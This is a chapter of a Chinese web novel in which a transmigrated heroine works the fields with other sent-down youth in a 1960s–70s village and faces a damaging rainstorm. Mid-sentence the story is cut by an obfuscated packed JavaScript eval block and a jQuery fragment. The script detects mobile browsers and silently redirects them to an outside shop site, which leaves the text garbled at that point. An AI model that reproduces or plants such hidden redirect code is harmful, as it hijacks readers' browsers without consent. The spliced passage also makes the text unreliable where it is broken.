不管怎样,叶欣算是成功跟村里妇女交际上了。
这个群体可是很强大的,不论跟她们打听消息,还是借点菜种,或者学习生活手艺,都是非常方便的,这种交际非常必要。
开心之余,叶欣也不禁感叹,其实改善印象也没那么难嘛。
农民朋友果然是最淳朴可爱的!
休息完,起身继续干活的时候,沈卓又转头看她一眼,先不论她说的那些话,单是她短短时间就跟两位厉害婶子交上了朋友,他就感到稀奇。
隔壁玉米地的几名知青看见刚才那一幕,觉得更稀奇。
江静雨疑惑道:“叶欣她……以前不是很看不起乡下这些妇女的吗,什么时候跟她们聊这么好了?”
刘红霞也很纳闷,“谁知道她啊,一会一个样,真可怕!”
郑文文也皱着眉头说:“看来她是彻底不跟我们来往了,跟村里的人打成一片。”
刘红霞说:“这正好,我们也懒得跟她成一派。等以后那些妇女们认清她的真面目,就没人跟她说话了,让她憋死!”
孙维强这时候又说话了,“我看她是决定永远留在农村了,放弃了回城的想法。”
刘红霞道:“她真要嫁给那个沈卓了?真是糊涂,那就瘦弱少年一个,自己都吃不饱,哪能养活她!”
郑文文问:“那你觉得,什么样的才是好对象?”
刘红霞就看了眼一个男知青,朝江静雨暧昧地说,“男人就要像康明大哥一样,长得高,力气壮,又勤劳肯干,才够男人味嘛!静雨,你说是不是?”
江静雨脸一红,不说话。
倒是那名男知青朝她看过来,让其他人都笑了。
现如今丰水大队共有九名知青,四男五女,都安排在凉水塘。女知青分别是郑文文、王小薇、江静雨、刘红霞以及叶欣,男知青分别是张康明、王有为、孙维强、赵中华。去年党中央加大了号召知青上山下乡的力度,所以今年三月一下子来了江静雨、刘红霞、叶欣和赵中华四名知青,其他五人则都是六十年代陆续来的。
其中除了叶欣搬出去,剩下的正好四男四女,都住在宿舍里,也合伙吃饭,平时也都是一起上工下工的。
其中张康明、王有为、王小薇几个话比较少,又数张康明最为稳重。他不仅性格稳重,人也长得高高的,肩膀宽阔,力气大,长相也是端正的那种。张康明一直干最重的活,每天拿满公分,是公认的能干人,现在种玉米也是挑水浇地。
张康明对江静雨有意思,江静雨也对张康明有好感,这是知青小队都知道的。
郑文文笑道:“这倒是,张大哥是知青,静雨也是知青,将来回城也能一块回去,不用分开!”
赵中华倒是叹了口气,“回城怕是难啊,上山下乡的口号喊了多少年,政策也不见变变。现在城里又乱糟糟的,学生们都不上课了。也不知道还能不能回城,乡下农活实在难熬。”
说到这个,大家心情都沉重起来,低头默默地干活。
叶欣倒是悄悄地也往那边看了几眼,看看那个稳重能干的张康明,又看看美丽勤劳的江静雨,这可是男女主!
这时候男女主应该只是互生情愫的阶段,还没有真正在一起,毕竟才来插队三个多月,还属于文的开篇。
下午,更加闷热了,一丝风都没有,让人汗流浃背。
地里也干干的,翻土的时候就一股灰尘直往鼻子里钻。叶欣上午吃了这个苦,中午回去就找了块布来蒙脸,现在好多了。
几个老人拿着草帽扇风,忧心忡忡地说:“这么闷热,是不是该下场雨了?”
“是好久没下雨了。”
“塘里水位都低了,地里浇水不好浇哦,干得快。”
“水田里也是,再不下雨,就要旱了。”
“还是赶紧下场雨吧,也好凉快凉快……”
叶欣也觉得好热,估计有三十五度左右,这天气不干活都刷刷流汗,何况是在太阳底下卖力气干活?
她今天就亲眼看到一个妇女中暑晕倒,被人抬回去了。
想起自己就是在原主中暑后穿来的,不禁心有戚戚,每天水、草帽都带着,生怕自己一不小心也完蛋,到时候还不知道有没有倒霉蛋穿过来。
不过,不知道是不是自己有防暑意识,她感觉还是熬得住的,上满工也就是累了点,身体酸痛的情况只有第一天过后有,后面好像就迅速适应了。
她觉得自己身体已经比原主好多了,起码不会轻易中暑。
傍晚收工回去的路上,叶欣观察了一下水田里,只见水面都飘着一层密密麻麻的浅绿色浮萍,一眼看去全是绿绿的,不知道是不是因为暴晒和水的不流通,才会是这个样子。
秧苗的颜色比浮萍深一点,插完秧也才两三天,现在秧苗还是稀疏的,刚站直的样子。
比她种在空间里的长势差多了。
叶欣觉得,她空间的几株秧苗已经到了乡亲们口中说的分蘖期,才会那么茂盛,本来几株的长成了一大把。
也是巧合,今天老人们刚说久不下雨,就在下工往回走的时候,天气就变了,原本应该是红霞满天的,现在却是乌云聚拢。
“要下雨了!”
“下雨好啊,凉快!”
“哎,我家还晒着菜干呢,赶紧回去收了!”
人们纷纷加快了脚步往家赶。
叶欣看了看天,也转头跟沈卓说:“咱们走快点,药材还晒在院子里呢!”
至于衣服,由于夏天太热,干得快,往往晚上洗了早上就干了。叶欣也不想仅有的几件衣服因为暴晒而加速损坏,都是早上就收了。
沈卓一脸疲色,不过还是沉默地加快了脚步。
叶欣见他这样,忍不住说:“你明天也带水吧,天那么热,要多补水,人也舒服一点。”
沈卓说:“懒得带。”
叶欣说:“你看你渴得嗓子都哑了,带水又没有多难,几乎人人都带。你渴着不难受吗?”
沈卓说:“忍忍就好了。”
叶欣无语。
这时走到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11118642|118004||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了通往上面的坡,她也懒得说话,低头爬坡。倒是沈卓虽然看着一身疲劳,步子却没有变慢,倒是把叶欣落在后面了。
叶欣忍不住喊道:“你等等我嘛!”
沈卓就顿住脚步,等她跟上才继续走。
总算爬完坡回到了小院,眼看着天边更加阴沉了,一场雨避免不了。沈卓顾不得喝水,先把药材收了,连笸箩一起端回堂屋的桌面,接着又赶紧抱了几捆干柴回灶房,免得打湿了,这几天没得用。
叶欣已经自觉在灶前烧火。
沈卓喝了水,略洗洗手脸,又进灶房拿桶打水,先把里面那口锅灌满,又提了一桶进来,然后淘米下锅。
叶欣说:“今晚咱们就喝白粥吧,不要加红薯。”
沈卓犹豫一下,还是听她的,加多了米,不加红薯。
这时候已经比往常暗多了,灶房里黑蒙蒙的,只有灶膛里的火光亮,沈卓又去堂屋拿了一盏老旧的煤油灯,勉强做照明。
就在他们做饭的时候,雨下下来了。
雨点噼里啪啦地落下,打在瓦片上发出清脆的声音,下得又急又猛,雨势不小的样子,白天的热意渐渐被驱散,变得凉爽多了。
“轰隆——”
突然雷电闪过,天边有惊雷落下。
不知道是不是在山里,这打雷的声音特别响亮,就像打在耳边似的,十分吓人,叶欣听着都有点心慌。
沈卓眉头皱起,说了句:“这雨下太大了。”
她说:“确实有点大,不过也正好给地里浇浇,也省了浇水了。”
灶房是用木头围起来的,十分简陋,这时已经被雨水飘进来打湿了,沈卓把角落堆的番薯往里面桌子底下挪,说:“雨太大,会把泥土连带着刚种下的种苗都冲走。”
叶欣一想也是,小雨湿润,中雨浇透,大雨冲走。何况这不止是大雨,眼看是往暴雨的趋势发展啊!
她只能庆幸昨天屋后翻土的小菜地还没来得及种,不然就白干了。
只能希望这雨能早点停。
然而这场雨下得比所有人预想的都要大,也更久,晚上一直是狂风骤雨,轰隆隆的雷声更是让人心惊。
叶欣一夜都没睡好,一会儿怕屋子房顶漏水,一会儿担心山洪把整个院子冲垮,想进空间躲躲,但是进去之后也不安心。
第二天早上,暴雨还没有减弱的趋势。
这下也不用上工了。
叶欣到厨房的时候,发现沈卓又往锅里加红薯了。
他眉头紧锁,脸色担忧:“红薯和玉米都要补种了。今天雨还不停的话,稻秧也要被淹坏,今年粮食就得减产,到时候粮食不够分,更吃不饱了。”
叶欣这时才真切体会到了农民的苦。种地辛苦不怕,怕的是天灾,让辛苦种下的地收不到粮食,吃不饱肚子,这才是真正的苦。
种田,本就是看天吃饭。
对未来收粮预期悲观,也怪不得沈卓忧心忡忡,又开始煮红薯粥了。
作者有话要说:
啊